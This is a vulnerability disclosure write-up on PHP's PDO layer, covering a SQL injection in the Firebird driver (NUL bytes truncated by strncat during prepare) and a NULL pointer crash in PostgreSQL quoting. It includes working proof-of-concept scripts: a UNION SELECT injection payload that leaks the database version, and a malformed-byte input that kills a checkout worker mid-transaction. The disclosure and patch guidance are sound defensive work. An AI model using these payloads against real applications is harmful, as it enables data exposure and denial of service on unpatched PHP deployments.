The PHP core and its bundled extensions are often viewed as a mature and well-hardened attack surface, but low-level implementation bugs can still slip through. In our earlier research article Hack the Elephant One Bite at a Time: JPEG-Related Memory-Safety Bugs in PHP, we showed memory-safety issues triggered during JPEG parsing in PHP.
As we continued in this direction, we launched a deeper review of PDO as a whole, along with its individual components: the DBMS-specific drivers used to connect to different backends. The scope of this work grew to the point where the analysis surfaced additional vulnerabilities in third-party dependencies. In particular, we identified an integer overflow in PostgreSQL’s client library (libpq), documented in our write-up Attack arithmetic: how an integer overflow in PostgreSQL libpq leads to denial of service. We also uncovered an information disclosure issue in the Firebird 3 client library (fbclient): when a Firebird 3 client communicates with Firebird 4 or later server versions, incorrect length values in XSQLDA fields can trigger an out-of-bounds read and expose unintended data.
However, the core outcomes of our work relate to the PDO extension’s architecture itself. During the audit, we documented a number of driver-specific behaviors and multiple flaws in how drivers interact with their target DBMSs. In this article, we take a detailed look at two representative vulnerabilities:
- CVE-2025-14179: SQL injection in pdo_firebird via NUL bytes in quoted strings
- CVE-2025-14180: NULL Pointer Dereference in PDO quoting
Through hands-on examples, we show how a deep review of key driver routines exposed serious weaknesses in the defensive mechanisms that web application developers have trusted for years.
Interaction with a DBMS
PHP does not talk to databases directly. Connections and query execution always go through extensions. In practice, DB-related extensions are usually grouped into two categories: the generic PDO interface (which relies on DB-specific drivers such as pdo_pgsql) and native extensions such as mysqli, pgsql, or sqlite3. Internally, these components may use the DBMS vendor’s official client-side C library (for example, libpq), an embedded in-process engine (as with SQLite), or an intermediate ODBC layer. As a result, the extension you choose and the details of its low-level implementation shape not only functionality and compatibility, but also the attack surface and the resulting vulnerability vectors.

The diagram illustrates the overall architecture of DBMS access in PHP. Application code calls into a PHP extension (either through the abstract PDO interface or through a native extension). From there, queries are forwarded either to the target DBMS’s client library, to an embedded in-process engine (as with SQLite), or to a generic ODBC layer. This multi-stage structure is critical: the extension layer, together with the underlying library it relies on, determines compatibility, the available feature set, OS-specific behavior, and the relevant vulnerability vectors.
Below, we break down three key nuances of this architecture that often prompt questions.
1. What is ODBC and why is it shown as a separate layer?
Open Database Connectivity (ODBC) is a standardized, vendor-neutral interface for database access. An application (or a PHP extension) calls the ODBC API, and an ODBC driver manager routes those calls to the DBMS-specific ODBC driver. In architecture diagrams, ODBC is typically drawn as its own layer because it cleanly separates the common API surface from the DBMS-specific, low-level implementation details.
2. Why is the MS SQL Server stack more complex than for other databases?
In PHP, SQL Server support is typically provided by the pdo_sqlsrv or sqlsrv extensions. These are built on top of the Microsoft ODBC Driver for SQL Server, and on Unix-like systems they also require an ODBC driver manager such as unixODBC. This layered model is intentional: Microsoft owns and maintains the low-level driver that implements SQL Server-specific behavior (authentication, TLS, and protocol details), while the PHP extension exposes the familiar PDO surface. An alternative exists in the form of pdo_dblib, which bypasses ODBC by using the FreeTDS library, but it is not the primary option.
3. How do libmysqlclient and mysqlnd differ in the context of MySQL?
Historically, PHP’s MySQL extensions could be compiled against two different client libraries:
libmysqlclientis the traditional external client library maintained by the MySQL ecosystem.mysqlnd(MySQL Native Driver) is PHP’s native MySQL driver, built specifically for the PHP runtime and tightly integrated with the Zend Engine memory manager.
PHP’s official documentation recommends using the bundled mysqlnd library instead of libmysqlclient, because mysqlnd provides better performance, uses less memory, and does not require installing third-party system components. At the same time, legacy deployments may still support either backend.
It is recommended to use the mysqlnd library instead of the MySQL Client Server library (libmysqlclient). Both libraries are supported and constantly being improved.
https://www.php.net/manual/en/mysqlinfo.library.choosing.php
PHP Data Objects
PDO (PHP Data Objects) is PHP’s standard database abstraction layer, providing a consistent, object-oriented API for interacting with multiple DBMSs. As the name implies, connections and result sets are exposed as objects (PDO and PDOStatement). As a result, common workflows such as preparing and executing statements, managing transactions, and fetching rows look largely identical regardless of the backend driver. This reduces database-specific coupling and makes application code easier to maintain over time.

In practice, the target DBMS is selected when a connection is initialized. The DSN prefix, the part of the DSN before the colon (for example, pgsql:, mysql:, sqlite:), tells PHP which PDO driver to load. After that, all database access goes through the same PDO API, while differences are largely limited to supported DSN options, SQL dialect details, and driver-specific behavior.
<?php
// Connect to PostgreSQL
$dsn_pg = 'pgsql:host=localhost;port=5432;dbname=db';
$pdo_pg = new PDO($dsn_pg, 'user', 'password');
// Connect to Firebird
$dsn_fb = 'firebird:dbname=192.168.1.2:/data/db.fdb;charset=utf8;';
$pdo_fb = new PDO($dsn_fb, 'user', 'password');
Option 1. Emulation enabled (default mode)
In this mode, parameter preparation happens entirely on the PHP side. The pdo_mysql driver escapes the data itself, interpolates it into the SQL template, and sends a single fully formed text query to the server.
PHP code (pdo_prepare.php)
<?php
$pdo = new PDO('mysql:host=127.0.0.1;dbname=db;charset=utf8mb4', 'user', 'password');
$stmt = $pdo->prepare('SELECT id, name FROM users WHERE id = ?');
$stmt->execute([1]); // Pass the number 1 as a parameter
foreach ($stmt->fetchAll() as $row) {
echo $row['id'] . ':' . $row['name'] . PHP_EOL;
}
MySQL general log
-- The server receives a plain text statement (the Query command).
-- Note: on the PHP side, the integer 1 ends up in the log as the quoted string '1'.
Id Command Argument
48 Connect user@localhost on db using TCP/IP
48 Query SELECT id, name FROM users WHERE id = '1'
48 Quit
Option 2. Emulation disabled (native statements)
With emulation turned off, PDO switches to MySQL’s native binary protocol. The SQL template and its bound parameters are transmitted separately in two steps: first, the statement is prepared, and then system calls are executed with the parameter values sent as unmodified data.
PHP code (pdo_prepare.php)
<?php
$options = [
PDO::ATTR_EMULATE_PREPARES => false, // Disable emulation
];
$pdo = new PDO('mysql:host=127.0.0.1;dbname=db;charset=utf8mb4', 'user', 'password', $options);
$stmt = $pdo->prepare('SELECT id, name FROM users WHERE id = ?');
$stmt->execute([1]); // Pass the value 1
foreach ($stmt->fetchAll() as $row) {
echo $row['id'] . ':' . $row['name'] . PHP_EOL;
}
MySQL general log
-- The server handles the statement in two phases (Prepare and Execute).
-- Note: during Execute, the original value 1 is sent without quotes.
Id Command Argument
49 Connect user@localhost on db using TCP/IP
49 Prepare SELECT id, name FROM users WHERE id = ?
49 Execute SELECT id, name FROM users WHERE id = 1
49 Close stmt
49 Quit
The table below summarizes PDO driver support for prepared statement emulation and the resulting driver behavior across DBMS backends.
For drivers that use emulation, prepared statements effectively become client-side query rewriting: PDO replaces placeholders, escapes values, and then sends the server a final text query.
| PDO driver | ATTR_EMULATE_PREPARES | Default | How query is prepared |
|---|---|---|---|
| pdo_firebird | ❌ | — | always native prepare |
| pdo_mysql | ✅ | ON | emulation; can be disabled |
| pdo_odbc | ❌ | — | always native (via ODBC SQLPrepare) |
| pdo_pgsql | ✅ | OFF | native; emulation only when explicitly configured or in special modes |
| pdo_sqlite | ❌ | — | always native prepare |
| pdo_sqlsrv | ✅ | OFF | native; emulation is optional |
Discovered vulnerabilities
Vulnerability 1. SQL injection in pdo_firebird via NUL bytes in quoted strings
💥Security Issue, CVE-2025-14179, High, Aleksey Solovev, Nikita Sveshnikov (Positive Technologies)
Description
While analyzing how pdo_firebird tokenizes and prepares SQL queries, we found a vulnerability that breaks the intended query structure. What makes this case counterintuitive is that the driver-side quoting routine (quoter) itself operates as expected and produces properly escaped output. The problem occurs later: during PDO::prepare, pdo_firebird reparses and rebuilds the SQL and mishandles string literals containing a NUL byte (\0). As a result, the driver drops the terminating quote, allowing attacker-controlled input to spill out of the quoted literal and into the executable SQL context, enabling SQL injection.
Technical details
In the Firebird PDO driver, initial string sanitization is handled by firebird_handle_quoter, which is exposed through PDO::quote. This component behaves correctly.
Validating the quoting routine
To confirm this, we show that firebird_handle_quoter correctly escapes special characters across multiple encodings and representations, including quotes, backticks, and explicit NUL bytes.
PHP sanitization test code
<?php
$pdo = new PDO('firebird:dbname=127.0.0.1:/var/lib/firebird/data/mirror.fdb;charset=utf8;', 'user', 'password');
$p1 = $pdo->quote("alice'\x27\u{27}`\x60\u{60}\"\x22\u{22}\x00\u{00}");
$p2 = $pdo->quote("offensive'\x27\u{27}`\x60\u{60}\"\x22\u{22}\x00\u{00}");
$sql = "SELECT * FROM users WHERE username = $p1 AND department = $p2";
file_put_contents('./sql_query.dump', $sql);
Dump output (string and raw bytes via xxd)
$ ./php cli.php && cat sql_query.dump
SELECT * FROM users WHERE username = 'alice''''''```"""' AND department = 'offensive''''''```"""'
$ xxd sql_query.dump
00000000: 5345 4c45 4354 202a 2046 524f 4d20 7573 SELECT * FROM us
00000010: 6572 7320 5748 4552 4520 7573 6572 6e61 ers WHERE userna
00000020: 6d65 203d 2027 616c 6963 6527 2727 2727 me = 'alice'''''
00000030: 2760 6060 2222 2200 0027 2041 4e44 2064 '```"""..' AND d
00000040: 6570 6172 746d 656e 7420 3d20 276f 6666 epartment = 'off
00000050: 656e 7369 7665 2727 2727 2727 6060 6022 ensive''''''```"
00000060: 2222 0000 27 ""..'
firebird_handle_quoter behaves as intended: it doubles single quotes and correctly keeps NUL bytes (00) inside string literals delimited by ‘ (27). The quoted string context remains intact.
Breaking the logic inside PDO::prepare
The issue is triggered when an SQL string that has already been quoted and is syntactically valid is passed into the statement preparation path. The resulting destructive transformation of the query can be followed directly in the PHP core call flow:
1. Entry point into the PDO core
At the application layer, the code calls $pdo->prepare($query). The PDO core accepts the SQL string as-is and, without additional normalization or safety checks, forwards it to the database-specific driver by calling the driver’s preparer callback.
/* ext/pdo/pdo_dbh.c */
if (dbh->methods->preparer(dbh, query, &stmt, driver_options)) {
2. Control is transferred to the Firebird driver
At this point, execution moves into the Firebird PDO driver. The driver forwards the SQL string directly into its internal statement preparation path, php_firebird_alloc_prepare_stmt, without any additional normalization at the PDO layer.
/* ext/pdo_firebird/firebird_driver.c */
/* allocate and prepare statement */
if (!php_firebird_alloc_prepare_stmt(dbh, sql, &num_sqlda, &s, np)) {
break;
}
3. Query parsing and preprocessing is initiated
php_firebird_alloc_prepare_stmt calls php_firebird_preprocess, which tokenizes the incoming SQL string. The tokenizer, implemented as the php_firebird_get_token state machine, scans the SQL string byte-by-byte and splits it into logical tokens. The driver then rebuilds the statement by iterating over token types in a switch (tok) loop and appending the corresponding fragments into the sql_out buffer:
/* ext/pdo_firebird/firebird_driver.c */
while (p < end) {
start = p;
tok = php_firebird_get_token(&p, end);
switch (tok) {
4. Critical point: vulnerable strncat() call
Later in php_firebird_preprocess, control reaches the generic passthrough branch:
/* ext/pdo_firebird/firebird_driver.c */
case ttWhite:
case ttComment:
case ttString:
case ttOther:
strncat(sql_out, start, p - start);
break;
Rather than using a binary-safe, length-bounded copy routine such as memcpy(), the driver appends token data with strncat(). Since strncat() treats the first NUL byte (\0) as a string terminator, the append operation (copying the token contents into the sql_out buffer) truncates the token when NUL is present. This truncation causes the terminating single quote of the SQL string literal to be dropped, collapsing the intended quoting boundary and corrupting the resulting SQL statement after preprocessing.
Anatomy of statement reconstruction
The issue is rooted in how strncat(dest, src, n) handles NUL bytes in C. It stops appending as soon as it encounters the first NUL byte (\0) in the src string, completely ignoring the explicit byte count n (p - start) passed by the caller.
As a result, when PDO’s built-in quoting routine (PDO::quote) correctly quotes an input that contains a NUL byte, it produces a syntactically valid SQL literal such as ‘\0’ (opening quote, NUL byte, closing quote).
During statement reconstruction, however, strncat does the following:
- It appends the opening quote (‘).
- Ii immediately hits \0 and interprets it as end-of-string.
- It terminates the append early, effectively omitting the closing quote.
Once the closing quote is missing, the SQL parser’s intended string-literal boundary is lost. Subsequent attacker-controlled values can then be interpreted outside the quoted context, collapsing into the same literal and enabling user-controlled data to be parsed as executable SQL by the DBMS.
Expected SQL query (as intended by the developer):
SELECT * FROM users WHERE username = '\0' AND department = ' OR 1=1 --'
Actual SQL query (after the strncat() parsing failure):
SELECT * FROM users WHERE username = ' AND department = ' OR 1=1 --'
Reproduction steps
To illustrate exploitation, we use a simple PHP example that executes a typical query to a Firebird database.
A successful attack requires dynamic SQL construction where untrusted parameters are first quoted using PDO’s built-in quoting routine (PDO::quote), and the resulting SQL string is then passed into PDO::prepare for parsing and preparation. The attacker-controlled input must also include a NUL byte (\0).
In production web applications, developers often treat the pattern “quote with PDO::quote, then prepare with PDO::prepare” as inherently safe. This is deceptive: the quoting step is correct, but the later preprocessing and tokenization performed by the Firebird driver’s preparer logic corrupts the SQL string. That silent loss of quoting boundaries inside PHP’s statement preparation path can cause attacker-controlled data to be interpreted as executable SQL by the DBMS, enabling SQL injection.
Testbed setup (Firebird)
To support the SQL injection proof of concept, we set up an isolated Firebird database schema that models a company information system used to allocate personnel across security departments (“Offensive” and “Defensive”):
-- Recreate table (overwrites if already exists)
RECREATE TABLE users (
id INT NOT NULL PRIMARY KEY,
username VARCHAR(50) CHARACTER SET UTF8 NOT NULL,
department VARCHAR(50) CHARACTER SET UTF8 NOT NULL
);
-- Populate table with test data
INSERT INTO users (id, username, department) VALUES (1, 'alice', 'offensive');
INSERT INTO users (id, username, department) VALUES (2, 'bob', 'defensive');
-- Commit transaction to save changes in Firebird
COMMIT;
Realistic attack scenario (PHP)
To make the SQL injection impact explicit, we model a realistic workflow against the previously created users table.
We start with a common PHP pattern: looking up employees by department. The developer assumes the code is safe because every untrusted input parameter is passed through $dbh->quote() before being inserted into the dynamically constructed SQL string:
<?php
$pdo = new PDO('firebird:dbname=127.0.0.1:/var/lib/firebird/data/mirror.fdb;charset=utf8;', 'user', 'password', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);
// External input
$username = "\0";
$department = 'UNION SELECT * FROM USERS UNION SELECT -1, ASCII_CHAR(68)||ASCII_CHAR(66)||ASCII_CHAR(77)||ASCII_CHAR(83), rdb$get_context(ASCII_CHAR(83)||ASCII_CHAR(89)||ASCII_CHAR(83)||ASCII_CHAR(84)||ASCII_CHAR(69)||ASCII_CHAR(77), ASCII_CHAR(69)||ASCII_CHAR(78)||ASCII_CHAR(71)||ASCII_CHAR(73)||ASCII_CHAR(78)||ASCII_CHAR(69)||ASCII_CHAR(95)||ASCII_CHAR(86)||ASCII_CHAR(69)||ASCII_CHAR(82)||ASCII_CHAR(83)||ASCII_CHAR(73)||ASCII_CHAR(79)||ASCII_CHAR(78)) FROM rdb$database --';
// Normal parameter quoting performed by the pdo_firebird driver
$safe_user = $pdo->quote($username);
$safe_dept = $pdo->quote($department);
// Dynamic SQL string construction
$sql = "SELECT * FROM users WHERE username = $safe_user AND department = $safe_dept";
// Invocation of the vulnerable prepare path
$stmt = $pdo->prepare($sql);
$stmt->execute();
// Fetching results from the database
echo json_encode($stmt->fetchAll(PDO::FETCH_ASSOC)) . "\n";
Because of the strncat() truncation bug described earlier, the terminating quote for the $safe_user literal is silently lost. Instead of executing a benign lookup for an empty string, Firebird receives a corrupted statement in which token boundaries and syntactic roles are shifted. The server effectively treats the subsequent AND department = fragment as part of the same string literal, and the closing quote from the second parameter ($safe_dept) becomes the point where the attacker regains control of SQL parsing. At that point, a UNION SELECT payload can be executed, and the symbols -- can be used to comment out the remaining clause.
Instead of returning an empty result set (as expected, since no user named \0 exists), the vulnerable query returns legitimate rows (alice and bob) plus hidden system metadata. Using character-by-character string construction with ASCII_CHAR(), the payload avoids single quotes entirely. Firebird then returns the exact database engine version (5.0.3) in the result set, demonstrating successful SQL injection.
Result of execution
$ ./php-src-php-8.5.5/sapi/cli/php cli.php
[
{"ID":-1,"USERNAME":"DBMS","DEPARTMENT":"5.0.3"},
{"ID":1,"USERNAME":"alice","DEPARTMENT":"offensive"},
{"ID":2,"USERNAME":"bob","DEPARTMENT":"defensive"}
]
Fix
PHP maintainers addressed the issue in May 2026 as part of routine security releases. The fix was released as part of scheduled security updates and is tracked under the global identifier CVE-2025-14179.
The official commit 3f40b65 rewrites the Firebird driver’s token-by-token SQL reconstruction logic. In particular, the developers stopped using the unsafe strncat() function when processing ttString string literals.
It was replaced with a binary-safe mechanism for handling and concatenating memory fragments that relies on their actual byte length rather than a terminating NUL character. As a result, if a quoted value contains a NUL byte (\0), php_firebird_alloc_prepare_stmt now preserves the full string literal including the closing quote. This prevents quote-boundary loss during preprocessing and eliminates the possibility of silent SQL injections.
Vulnerability 2. NULL Pointer Dereference in PDO quoting
💥Security Issue, CVE-2025-14180, Moderate, 6.3/10, Aleksey Solovev (Positive Technologies)
Description
PHP provides two commonly used PostgreSQL extensions, pgsql and pdo_pgsql, both of which rely on the libpq client library. A design-level issue was identified in PDO when the pdo_pgsql driver is used with emulated prepares explicitly enabled (PDO::ATTR_EMULATE_PREPARES => true).
Technical details
With emulated prepared statements enabled, pdo_pgsql delegates parameter expansion to the PDO SQL parser, specifically pdo_parse_params. Under certain inputs, the resulting call flow reaches a failure condition:
Quoting function invocation
In ext/pdo/pdo_sql_parser.re, the parser attempts to sanitize untrusted input by invoking the database driver’s quoting callback (the driver’s quoter method):
/* ext/pdo/pdo_sql_parser.re */
plc->quoted = stmt->dbh->methods->quoter(stmt->dbh, buf, param_type);
libpq error and a NULL return value
In the PostgreSQL driver, PDO’s quoting callback resolves to pgsql_handle_quoter, which in turn calls libpq’s PQescapeStringConn. If the input contains an invalid multibyte sequence (for example, alice\x99), libpq raises an “invalid multibyte character” condition and sets the err output flag. The driver then aborts quoting and returns NULL. PDO subsequently propagates that NULL into plc->quoted.
/* ext/pdo_pgsql/pgsql_driver.c */
quoted = safe_emalloc(2, ZSTR_LEN(unquoted), 3);
quoted[0] = '\'';
quotedlen = PQescapeStringConn(H->server, quoted + 1, ZSTR_VAL(unquoted), ZSTR_LEN(unquoted), &err);
if (err) {
efree(quoted);
return NULL;
}
Invoking the string length macro
Execution then proceeds through the PDO SQL parser until it hits the ZSTR_LEN macro, which is used to obtain the length of the quoted (escaped) string.
/* ext/pdo/pdo_sql_parser.re */
newbuffer_len += ZSTR_LEN(plc->quoted);
NULL pointer dereference
To explain the crash, consider how ZSTR_LEN is defined in the Zend Engine core (Zend/zend_string.h).
/* Zend/zend_string.h */
#define ZSTR_LEN(zstr) (zstr)->len
The macro expands to a direct field access on a zend_string, specifically the .len member. In this execution path, plc->quoted is NULL (0x0). When the parser evaluates ZSTR_LEN(plc->quoted), it effectively attempts to read (NULL)->len.
Dereferencing address 0 triggers a NULL Pointer Dereference fault. The operating system responds by delivering SIGSEGV (segmentation fault), terminating the PHP worker process and resulting in a denial of service (DoS).
Reproduction steps
To illustrate the issue, consider a PHP proof of concept that executes a typical query to a PostgreSQL database.
Exploitation requires two conditions: the application (or driver configuration) must force PDO into emulated prepared statements (PDO::ATTR_EMULATE_PREPARES => true), and the attacker must be able to supply a parameter containing byte sequences that are invalid under the active client encoding for the connection.
In practice, using emulated prepares with PostgreSQL (PDO::ATTR_EMULATE_PREPARES => true) is still common for several operational reasons, including PgBouncer compatibility, DBMS-level workarounds, and legacy design choices.
The impact is further amplified in applications that execute multiple sequential state changes without explicit transaction boundaries, relying on the default autocommit behavior of relational databases. In a microservices architecture, this problem escalates to a whole new level: even if internal transactions are utilized within a single service, an outbound network request dispatched right before the process crashes cannot be recalled. Consequently, Service A initiates inter-service communication and instantly dies from a segmentation fault, while Service B successfully receives, processes, and commits those changes. This breeds a critical desynchronization and phantom actions between components of the distributed system that cannot be caught via standard try/catch blocks or logged in Sentry, because the interpreter terminates abruptly at the C-core level.
Testbed setup (PostgreSQL)
To reproduce the crash condition in a controlled environment, we set up an isolated PostgreSQL schema modeling a fictional e-commerce application that sells digital licenses and SaaS subscriptions (“Enterprise Cloud License” and “Developer Toolkit”):
DROP TABLE IF EXISTS invoice_logs CASCADE;
DROP TABLE IF EXISTS orders CASCADE;
DROP TABLE IF EXISTS products CASCADE;
DROP TABLE IF EXISTS users CASCADE;
-- 1. Users (Authorization is handled via unique tokens)
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username VARCHAR(50) NOT NULL,
api_token VARCHAR(64) NOT NULL UNIQUE, -- Session authorization token
balance NUMERIC(15, 2) NOT NULL CHECK (balance >= 0)
);
-- 2. Inventory / Digital Products (Added price field)
CREATE TABLE products (
id INT PRIMARY KEY,
title VARCHAR(150) NOT NULL,
price NUMERIC(15, 2) NOT NULL CHECK (price > 0), -- Product price on the server side
stock INT NOT NULL CHECK (stock >= 0)
);
-- 3. Orders (Added quantity field)
CREATE TABLE orders (
id SERIAL PRIMARY KEY,
user_id INT REFERENCES users(id) ON DELETE CASCADE,
product_id INT REFERENCES products(id),
quantity INT NOT NULL CHECK (quantity > 0),
amount NUMERIC(15, 2) NOT NULL, -- Total amount (calculated by the server)
notes TEXT
);
-- 4. Fiscal Invoices for financial reporting
CREATE TABLE invoice_logs (
id SERIAL PRIMARY KEY,
user_id INT REFERENCES users(id) ON DELETE CASCADE,
amount NUMERIC(15, 2) NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
-- =========================================================================
-- Populating with realistic test data
-- =========================================================================
-- Create user Alice with a secret API token and a balance of 250,000.00
INSERT INTO users (username, api_token, balance) VALUES
('alice', 'b5cb887a71ef0a64e16d47d6d3701a52', 250000.00);
-- Populate the inventory with products and actual prices
INSERT INTO products (id, title, price, stock) VALUES
(101, 'Enterprise Cloud License - Annual Subscription', 1500.00, 100),
(102, 'Premium Developer Toolkit - Seat Allocation', 450.00, 50),
(103, 'Advanced Analytics Dashboard - Add-on Module', 299.00, 200),
(104, 'Standard Service Package - Tier 1 Support', 99.00, 1000);
Realistic attack scenario (PHP)
We implement a checkout_secure.php script that mirrors a typical backend checkout controller. The developer considers the flow secure: pricing is not taken from user input, authentication is token-based, and the entire operation is wrapped in a try-catch block.
An attacker then submits a valid purchase request for a high-value license, but deliberately injects an invalid byte sequence (\x99) into the order notes (notes) field:
<?php
echo "🚀 [START] Initializing order processing system...\n";
$pdo = new PDO('pgsql:host=localhost;dbname=db', 'user', 'password', [
PDO::ATTR_EMULATE_PREPARES => true, // Vulnerability trigger
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);
// INPUT DATA FROM THE HTTP REQUEST (Simulated frontend input)
$userToken = 'b5cb887a71ef0a64e16d47d6d3701a52'; // Token from Authorization header
$productId = 101; // ID of 'Enterprise Cloud License'
$quantity = 4; // Purchased quantity
$comment = "alice\x99"; // Malicious payload containing malformed bytes
try {
// -------------------------------------------------------------------------
// 1. AUTHORIZATION & IDENTIFICATION
// -------------------------------------------------------------------------
echo "🔍 [STEP 1] Security Check: Authenticating user via API token...\n";
$stmtUser = $pdo->prepare("SELECT id FROM users WHERE api_token = :token");
$stmtUser->execute(['token' => $userToken]);
$user = $stmtUser->fetch(PDO::FETCH_ASSOC);
if (!$user) {
die("❌ [ERROR] Security failure: Invalid authorization token!\n");
}
$userId = $user['id'];
echo "👤 [SUCCESS] User successfully identified. ID: $userId\n";
// -------------------------------------------------------------------------
// 2. FETCH PRODUCT DATA & VERIFICATION
// -------------------------------------------------------------------------
echo "📦 [STEP 2] Catalog Request: Checking tier availability and current pricing...\n";
$stmtProd = $pdo->prepare("SELECT price, stock FROM products WHERE id = :id");
$stmtProd->execute(['id' => $productId]);
$product = $stmtProd->fetch(PDO::FETCH_ASSOC);
if (!$product || $product['stock'] < $quantity) {
die("❌ [ERROR] Catalog: Requested service package is out of stock or unavailable!\n");
}
$totalAmount = $product['price'] * $quantity;
echo "💰 [INFO] Cost Calculation: Total due is {$totalAmount} USD for {$quantity} pcs.\n";
// -------------------------------------------------------------------------
// 3. ATOMIC FINANCIAL OPERATION (TOCTOU PROTECTION)
// -------------------------------------------------------------------------
echo "💳 [STEP 3] Billing: Executing atomic debit request (Autocommit mode)...\n";
$stmtCharge = $pdo->prepare("UPDATE users SET balance = balance - :amount WHERE id = :id AND balance >= :amount");
$stmtCharge->execute([
'amount' => $totalAmount,
'id' => $userId
]);
if ($stmtCharge->rowCount() === 0) {
die("❌ [ERROR] Billing: Transaction rejected due to insufficient funds!\n");
}
echo "✅ [SUCCESS] Funds debited successfully! {$totalAmount} USD removed from client's balance.\n";
// -------------------------------------------------------------------------
// 4. ORDER CREATION (THE CRASH POINT)
// -------------------------------------------------------------------------
echo "📝 [STEP 4] Database: Inserting order record and saving customer notes...\n";
$stmtOrder = $pdo->prepare("INSERT INTO orders (user_id, product_id, quantity, amount, notes) VALUES (:uid, :pid, :qty, :amount, :notes)");
// =========================================================================
// 🔥 PHP CORE CRASH: Due to the malformed \x99 bytes, the PostgreSQL driver
// returns NULL. The ZSTR_LEN macro triggers a Null Pointer Dereference.
// The PHP worker process is instantly terminated by the OS on this exact line!
// =========================================================================
$stmtOrder->execute([
'uid' => $userId,
'pid' => $productId,
'qty' => $quantity,
'amount' => $totalAmount,
'notes' => $comment
]);
echo "📊 [SUCCESS] Order record successfully created in the 'orders' table!\n"; // Will never execute
// -------------------------------------------------------------------------
// 5. CATALOG LEVEL UPDATE
// -------------------------------------------------------------------------
echo "🏪 [STEP 5] Catalog: Reserving and deducting license keys from inventory...\n";
$pdo->prepare("UPDATE products SET stock = stock - $quantity WHERE id = $productId")->execute();
echo "📉 [SUCCESS] Service inventory levels successfully updated!\n"; // Will never execute
// -------------------------------------------------------------------------
// 6. FISCAL LOGGING / INVOICING
// -------------------------------------------------------------------------
echo "🧾 [STEP 6] Accounting: Generating fiscal invoice for financial reporting...\n";
$pdo->prepare("INSERT INTO invoice_logs (user_id, amount) VALUES ($userId, $totalAmount)")->execute();
echo "🖨️ [SUCCESS] Fiscal invoice successfully generated and transmitted!\n"; // Will never execute
echo "🎉 [FINISH] Purchase process completely finalized! Order completed.\n"; // Will never execute
} catch (PDOException $e) {
// This block WILL NEVER EXECUTE. Null Pointer Dereference triggers SIGSEGV,
// destroying the interpreter instance before user-land catch handles it.
error_log("Catch-block triggered: " . $e->getMessage());
}
Observed output and cascading failure
When running this script on a PHP build instrumented with AddressSanitizer (ASan) to catch memory-safety issues, PDOStatement::execute() immediately causes the process to abort.
$ ./php-src-php-8.5.0/sapi/cli/php checkout_secure.php
🚀 [START] Initializing order processing system...
🔍 [STEP 1] Security Check: Authenticating user via API token...
👤 [SUCCESS] User successfully identified. ID: 1
📦 [STEP 2] Catalog Request: Checking tier availability and current pricing...
💰 [INFO] Cost Calculation: Total due is 6000 USD for 4 pcs.
💳 [STEP 3] Billing: Executing atomic debit request (Autocommit mode)...
✅ [SUCCESS] Funds debited successfully! 6000 USD removed from client's balance.
📝 [STEP 4] Database: Inserting order record and saving customer notes...
AddressSanitizer:DEADLYSIGNAL
=================================================================
==630578==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x5555561c70cc bp 0x7fffffffaaa0 sp 0x7fffffffa8f0 T0)
==630578==The signal is caused by a READ memory access.
==630578==Hint: address points to the zero page.
#0 0x5555561c70cc in pdo_parse_params ext/pdo/pdo_sql_parser.re:319
#1 0x5555561b2a36 in zim_PDOStatement_execute /home/administrator/php/php-src-php-8.5.0/ext/pdo/pdo_stmt.c:444
#2 0x5555569bf971 in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER /home/administrator/php/php-src-php-8.5.0/Zend/zend_vm_execute.h:2022
#3 0x555556b20a0e in execute_ex /home/administrator/php/php-src-php-8.5.0/Zend/zend_vm_execute.h:116441
#4 0x555556b35929 in zend_execute /home/administrator/php/php-src-php-8.5.0/Zend/zend_vm_execute.h:121884
#5 0x555556c98f83 in zend_execute_script /home/administrator/php/php-src-php-8.5.0/Zend/zend.c:1977
#6 0x5555566cfd53 in php_execute_script_ex /home/administrator/php/php-src-php-8.5.0/main/main.c:2641
#7 0x5555566d0163 in php_execute_script /home/administrator/php/php-src-php-8.5.0/main/main.c:2681
#8 0x555556c9eaf3 in do_cli /home/administrator/php/php-src-php-8.5.0/sapi/cli/php_cli.c:951
#9 0x555556ca10c0 in main /home/administrator/php/php-src-php-8.5.0/sapi/cli/php_cli.c:1362
#10 0x7ffff722a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#11 0x7ffff722a28a in __libc_start_main_impl ../csu/libc-start.c:360
#12 0x555555a070b4 in _start (/home/administrator/php/php-src-php-8.5.0/sapi/cli/php+0x6070b4) (BuildId: 053b1010cce3735ef6ec37bbf1f3e36b1c787d47)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ext/pdo/pdo_sql_parser.re:319 in pdo_parse_params
==630578==ABORTING
The PHP worker process is terminated by the operating system with SIGSEGV when execute() is invoked at Step 4. As a result, none of the downstream logging statements run, and the catch block never executes.

Database state after DEADLYSIGNAL (business audit)
If we connect to PostgreSQL immediately after the crash and perform a quick financial and inventory consistency check, the resulting state is catastrophic:
SELECT balance FROM users WHERE id = 1; —> 244000.00
The Step 3 debit query executed successfully and was committed, charging Alice the full cost of four licenses (USD 6,000.00). Her balance dropped from USD 250,000.00 to USD 244,000.00.SELECT COUNT(*) FROM orders;—> 0
No order record exists. PHP crashed in Step 4 while handling malformed bytes in the notes field, so the four licenses were never linked to the user.SELECT stock FROM products WHERE id = 101;—>100
Inventory was not decremented and remained at 100. Step 5, which would have reduced stock by 4 (to 96), did not run because the worker died.SELECT COUNT(*) FROM invoice_logs;—>0
No invoice or fiscal log entry was generated for the USD 6,000.00 charge. Step 6 was skipped.
The impact on the fictional company scales with the order size: USD 6,000.00 is debited, inventory still indicates the licenses are available, no financial or tax records are generated, and the customer only sees a hard backend failure (“502 Bad Gateway“).
Because AddressSanitizer:DEADLYSIGNAL confirms an immediate process abort that bypasses normal cleanup and application-level logging, the system is left in a severe inconsistent state. In theory, fine-grained, step-level journaling could enable recovery. In practice, enterprise environments often make this difficult: when the operating system kills the worker, logger buffers may never flush to disk, and building reconciliation jobs to roll back or finalize these torn, partially committed operations typically requires substantial engineering time and operational effort.
Fix
PHP maintainers addressed this issue on December 16, 2025. The fix was released in the regular security updates and assigned CVE-2025-14180.
From an operational hardening perspective, operators of affected web applications should upgrade PHP to at least one of the patched versions: 8.1.34, 8.2.30, 8.3.29, 8.4.16, or 8.5.1.
